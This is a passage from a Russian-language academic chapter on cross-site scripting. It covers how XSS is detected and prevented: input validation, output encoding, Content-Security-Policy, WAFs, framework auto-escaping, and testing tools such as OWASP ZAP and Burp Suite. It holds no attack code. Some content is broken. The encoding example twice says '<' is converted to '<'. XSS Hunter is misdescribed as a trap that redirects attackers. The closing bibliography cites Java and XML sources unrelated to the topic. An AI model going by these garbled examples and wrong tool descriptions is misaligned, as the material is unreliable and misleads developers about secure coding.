XSS-уязвимости могут подрывать доверие пользователей к веб-сайту. Если пользователь стал жертвой XSS-атаки, он может потерять доверие к сайту и перестать им пользоваться. Это может привести к потере клиентов и доходов для владельцев сайта.

3.4. Методы обнаружения и предотвращения межсайтового скриптинга

Учитывая серьезные риски, связанные с XSS-уязвимостями, важно применять эффективные методы обнаружения и предотвращения этих атак. Существуют

различные подходы, которые могут быть использованы для обеспечения безопасности веб-приложений от XSS.

3.4.1. Обнаружение XSS-уязвимостей

Обнаружение XSS-уязвимостей является важным этапом в обеспечении безопасности веб-приложений. Для этого используются различные методы, включая:

- **Ручное тестирование:** Этот метод включает в себя анализ исходного кода приложения и поиск потенциальных уязвимостей, таких как недостаточная фильтрация входных данных. Тестировщики могут использовать различные инструменты и техники, такие как анализ исходного кода, использование прокси-серверов и fuzzing, чтобы обнаружить уязвимости.
- **Автоматизированное сканирование:** Существуют различные инструменты автоматизированного сканирования уязвимостей, которые могут быть использованы для обнаружения XSS-уязвимостей. Эти инструменты могут сканировать веб-приложения на наличие известных паттернов XSS-атак и предоставлять отчеты о найденных уязвимостях.
- **Bug bounty программы:** Bug bounty программы предлагают вознаграждение исследователям безопасности, которые обнаруживают уязвимости в веб-приложениях. Это может быть эффективным способом обнаружения XSS-уязвимостей, так как исследователи безопасности имеют большой опыт и знания в этой области.

3.4.2. Предотвращение XSS-атак

Предотвращение XSS-атак является ключевым аспектом обеспечения безопасности веб-приложений. Для этого используются различные методы, включая:

- **Валидация входных данных:** Валидация входных данных является одним из наиболее важных методов предотвращения XSS-атак. Это означает проверку всех данных, вводимых пользователем, на соответствие ожидаемому формату и типу данных. Например, если поле формы ожидает числовое значение, необходимо убедиться, что пользователь ввел именно число, а не строку или код.
- **Кодирование выходных данных:** Кодирование выходных данных означает преобразование специальных символов в их HTML-эквиваленты. Это предотвращает интерпретацию браузером этих символов как кода, что может привести к выполнению вредоносного кода. Например, символ '<' должен быть преобразован в '<';
- **Использование HTTP-заголовков безопасности:** Существуют различные HTTP-заголовки безопасности, которые могут быть использованы для предотвращения XSS-атак. Например, заголовок Content-Security-Policy

(CSP) позволяет указать, какие источники контента разрешены для загрузки на веб-странице. Это может помочь предотвратить загрузку вредоносного кода с ненадежных источников.

- **Использование фреймворков и библиотек с защитой от XSS:** Многие современные фреймворки и библиотеки веб-разработки имеют встроенные механизмы защиты от XSS. Использование таких фреймворков и библиотек может значительно упростить процесс предотвращения XSS-атак.

3.4.3. Дополнительные меры безопасности

Помимо основных методов предотвращения XSS-атак, существуют и другие меры безопасности, которые могут быть приняты для повышения безопасности веб-приложений:

- **Обучение пользователей:** Пользователи должны быть осведомлены о рисках, связанных с XSS-атаками, и о том, как их избежать. Например, пользователям следует быть осторожными при нажатии на ссылки в электронных письмах или на веб-сайтах, а также при вводе данных в формы.
- **Использование веб-application firewall (WAF):** WAF - это инструмент безопасности, который может быть использован для обнаружения и блокировки вредоносного трафика. WAF может быть настроен на обнаружение известных паттернов XSS-атак и блокирование соответствующего трафика.
- **Регулярное обновление программного обеспечения:** Разработчики должны регулярно обновлять программное обеспечение веб-приложений, чтобы устранять известные уязвимости, включая XSS-уязвимости.

3.5. Практические примеры и инструменты для защиты от XSS-атак

Защита от XSS-атак требует комплексного подхода, включающего в себя использование различных инструментов и методов. В этом разделе мы рассмотрим практические примеры и инструменты, которые могут быть использованы для повышения безопасности веб-приложений от XSS.

3.5.1. Примеры кодирования выходных данных

Кодирование выходных данных является одним из основных методов предотвращения XSS-атак. Существуют несколько способов кодирования выходных данных, в зависимости от контекста, в котором они отображаются:

- **HTML-кодирование:** Этот метод используется для кодирования данных, которые будут отображаться в HTML-контексте. Например, символ '<' должен быть преобразован в '<'.

- **URL-кодирование:** Этот метод используется для кодирования данных, которые будут использоваться в URL-адресах. Например, пробел должен быть преобразован в '%20'.
- **JavaScript-кодирование:** Этот метод используется для кодирования данных, которые будут использоваться в JavaScript-коде. Например, символ " ' " должен быть преобразован в " \' ".

3.5.2. Использование библиотек и фреймворков с защитой от XSS

Многие современные фреймворки и библиотеки веб-разработки имеют встроенные механизмы защиты от XSS. Некоторые из популярных фреймворков и библиотек с защитой от XSS включают:

- **React:** React автоматически экранирует выходные данные, что помогает предотвратить XSS-атаки.
- **Angular:** Angular также имеет встроенные механизмы защиты от XSS, такие как автоматическое экранирование выходных данных и строгая проверка типов.
- **Django:** Django предоставляет различные инструменты для защиты от XSS, такие как шаблонизатор с автоматическим экранированием и функции для валидации входных данных.

3.5.3. Инструменты для тестирования на уязвимости XSS

Существует множество инструментов, которые могут быть использованы для тестирования веб-приложений на уязвимости XSS. Некоторые из популярных инструментов включают:

- **OWASP ZAP:** OWASP Zed Attack Proxy (ZAP) - это бесплатный инструмент с открытым исходным кодом для тестирования безопасности веб-приложений. ZAP может быть использован для обнаружения различных уязвимостей, включая XSS.
- **Burp Suite:** Burp Suite - это коммерческий инструмент для тестирования безопасности веб-приложений. Burp Suite предлагает широкий набор функций для тестирования безопасности, включая обнаружение XSS-уязвимостей.
- **XSS Hunter:** XSS Hunter - это онлайн-сервис, который позволяет создавать "ловушки" для XSS-атак. Эти ловушки могут быть размещены на веб-страницах, и если злоумышленник выполняет XSS-атаку, он будет перенаправлен на ловушку, что позволит вам обнаружить атаку.

3.5.4. Content Security Policy (CSP)

Content Security Policy (CSP) - это механизм безопасности, который позволяет указать, какие источники контента разрешены для загрузки на веб-странице.

CSP может быть использован для предотвращения XSS-атак, ограничивая загрузку скриптов только с доверенных источников.

3.5.5. Входная фильтрация и валидация данных

Входная фильтрация и валидация данных являются одними из самых важных методов предотвращения XSS-атак. Валидация входных данных означает проверку всех данных, вводимых пользователем, на соответствие ожидаемому формату и типу данных. Фильтрация входных данных означает удаление или преобразование потенциально опасных символов из входных данных.

3.5.6. Выходная фильтрация и кодирование данных

Выходная фильтрация и кодирование данных означают преобразование специальных символов в их HTML-эквиваленты. Это предотвращает интерпретацию браузером этих символов как кода, что может привести к выполнению вредоносного кода.

Список литературы

- [1] Гупта, Арун. Java EE 7. Основы. [Текст] / Арун Гупта. — Новосибирск : Издательство Вильямс, 2014.
- [2] Герберт, Шилдт. Java. Руководство для начинающих. Современные методы создания, компиляции и выполнения программ на Java [Текст] / Шилдт Герберт. — Новосибирск : Издательство Диалектика, 2018.
- [3] W3C Recommendation: Extensible Markup Language (XML) [Electronic resource]. — Режим доступа: <https://www.w3.org/TR/REC-xml> (online; accessed: 28.11.2008).
- [4] Java API for XML Processing (JAXP) [Electronic resource]. — Режим доступа: <https://docs.oracle.com/javase/8/docs/technotes/guides/xml/index.html> (online; accessed: 01.12.2009).
- [5] About XStream [Electronic resource]. — Режим доступа: <https://x-stream.github.io/> (online; accessed: 20.04.2020).
- [6] Simple XML [Electronic resource]. — Режим доступа: <https://simple.sourceforge.net/> (online; accessed: 20.04.2020).